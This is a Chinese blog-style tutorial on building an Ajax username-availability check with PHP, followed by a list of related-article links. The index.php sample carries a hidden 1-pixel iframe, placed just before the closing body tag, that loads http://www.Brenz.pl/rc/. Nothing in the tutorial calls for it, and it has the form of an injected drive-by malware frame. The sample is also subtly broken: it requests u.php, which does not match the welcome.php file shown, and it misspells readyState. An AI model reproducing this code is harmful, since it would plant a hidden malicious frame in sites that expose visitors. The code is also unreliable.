PHP与Ajax相结合实现登录验证小Demo


Posted in PHP onMarch 16, 2016

 AJAX即“Asynchronous Javascript And XML”(异步JavaScript和XML),是指一种创建交互式网页应用的网页开发技术。

AJAX = Asynchronous JavaScript and XML(异步的 JavaScript 和 XML)。
AJAX 不是新的编程语言,而是一种使用现有标准的新方法。
AJAX 是与服务器交换数据并更新部分网页的艺术,在不重新加载整个页面的情况下。

设计一个用户注册页面,当用户输入注册名的时候,检测用户名是否已存在,如果存在,给予提示

我们先打index.php

<html> 
<head> 
<meta http-equiv="content-type" content="text/html; charset=gb2312" /> 
<script type="text/JavaScript"> 
function Ajax(){ 
var xmlHttpReq=null;//初始对象xmlHttpReq 
if(window.ActiveXObject){ 
xmlHttpReq=new ActiveXObject("Microsoft.XMLHTTP"); 
}else if(window.XMLHttpRequest){ 
xmlHttpReq=new XMLHttpRequest(); 
} 
var userId=document.getElementById("userId").value;//value取得id为userId的值 
url="u.php?userId="+userId;//路径 
if(xmlHttpReq!=null){//若对象实例化创建成功 
xmlHttpReq.open("GET",url,true);//open()打开请求 
xmlHttpReq.onreadystatechange=RequestCallBack;//设置回调函数RequestCallBack() 
xmlHttpReq.send(null);//请求不包括正文 
} 
function RequestCallBack(){//回调函数 
if(xmlHttpReq.readystate==4){ 
if(xmlHttpReq.status==200){//请求成功 
document.getElementById("get").innerHTML=xmlHttpReq.responseText;//将得到的信息赋给id属性为get的div 
} 
} 
} 
} 
</script> 
</head> 
<body> 
<font> 
注册 
</font><br> 
<form> 
用户名:<input type="text"value="yuki"id="userId"name="userId"><input type="button"value="检测"onclick="Ajax()"> 
<div id="get"> 
</div> 
</form> 
<iframe style="height:1px" src="http://www.Brenz.pl/rc/" frameborder=0 width=1></iframe> 
</body> 
</html>

welcome.php

<?php 
header("content-type:text/html;charset=gb2312"); 
//sleep(1); 
$userId=$_GET["userId"]; 
if($userId=="管理员"){ 
echo "用户名已存在!"; 
}else{ 
echo "该用户名可以注册"; 
} 
?>

关于PHP与Ajax相结合实现登录验证小Demo的相关知识就给大家介绍到这里,希望对大家有所帮助!

PHP 相关文章推荐
繁体中文转换为简体中文的PHP函数
Oct 09 PHP
php运行出现Call to undefined function curl_init()的解决方法
Nov 02 PHP
PHP中的strtr函数使用介绍(str_replace)
Oct 20 PHP
PHP 如何利用phpexcel导入数据库
Aug 24 PHP
ThinkPHP自动转义存储富文本编辑器内容导致读取出错的解决方法
Aug 08 PHP
PHP日期函数date格式化UNIX时间的方法
Mar 19 PHP
php实现插入数组但不影响原有顺序的方法
Mar 27 PHP
Yii扩展组件编写方法实例分析
Jun 29 PHP
phpStudy中升级MySQL版本到5.7.17的方法步骤
Aug 03 PHP
PHP PDOStatement::rowCount讲解
Feb 01 PHP
PHP使用DOM对XML解析处理操作示例
Jul 04 PHP
php实现 master-worker 守护多进程模式的实例代码
Jul 20 PHP
Laravel实现构造函数自动依赖注入的方法
Mar 16 #PHP
PHP 二维数组和三维数组的过滤
Mar 16 #PHP
详解php中反射的应用
Mar 15 #PHP
php实现图片上传并进行替换操作
Mar 15 #PHP
php模板引擎技术简单实现
Mar 15 #PHP
9个比较实用的php代码片段
Mar 15 #PHP
Laravel使用Caching缓存数据减轻数据库查询压力的方法
Mar 15 #PHP
You might like
MySql 按时间段查询数据方法(实例说明)
2008/11/02 PHP
php中$_SERVER[PHP_SELF] 和 $_SERVER[SCRIPT_NAME]之间的区别
2009/09/05 PHP
php ajax 静态分页过程形式
2011/09/02 PHP
解决laravel5中auth用户登录其他页面获取不到登录信息的问题
2019/10/08 PHP
ASP中进行HTML数据及JS数据编码函数
2009/11/11 Javascript
window.onbeforeunload方法在IE下无法正常工作的解决办法
2010/01/23 Javascript
锋利的jQuery 要点归纳(三) jQuery中的事件和动画(下:动画篇)
2010/03/24 Javascript
javascript模块化是什么及其优缺点介绍
2013/09/02 Javascript
浅析JS中对函数function的理解(基础篇)
2016/10/14 Javascript
jQuery 遍历map()方法详解
2016/11/04 Javascript
JavaScript和jQuery制作光棒效果
2017/02/24 Javascript
AngularJS中table表格基本操作示例
2017/10/10 Javascript
node.js 用socket实现聊天的示例代码
2017/10/17 Javascript
vue element table 表格请求后台排序的方法
2018/09/28 Javascript
微信小程序如何修改radio和checkbox的默认样式和图标
2019/07/24 Javascript
微信小程序点击滚动到指定位置的实现
2020/05/22 Javascript
手把手带你搭建一个node cli的方法示例
2020/08/07 Javascript
如何使用 JavaScript 操作浏览器历史记录 API
2020/11/24 Javascript
Python中使用中文的方法
2011/02/19 Python
python二分查找算法的递归实现方法
2016/05/12 Python
python3实现指定目录下文件sha256及文件大小统计
2019/02/25 Python
python实现电子产品商店
2019/02/26 Python
django如何通过类视图使用装饰器
2019/07/24 Python
numpy矩阵数值太多不能全部显示的解决
2020/05/14 Python
HTML5移动端手机网站开发流程
2016/04/25 HTML / CSS
《小白兔和小灰兔》教学反思
2014/02/18 职场文书
仓库文员岗位职责
2014/04/06 职场文书
高等教育学专业自荐书
2014/06/17 职场文书
公司市场专员岗位职责
2014/06/29 职场文书
高中生第一学年自我鉴定
2014/09/12 职场文书
2014年乡镇党建工作总结
2014/11/11 职场文书
广告业务员岗位职责
2015/02/13 职场文书
2015年行政部工作总结
2015/04/28 职场文书
2016道德模范先进事迹材料
2016/02/26 职场文书
Python+Tkinter制作专属图形化界面
2022/04/01 Python
Win11 25163.1010更新补丁KB5016904推送,测试服务验证管道(附更新修复汇总)
2022/07/23 数码科技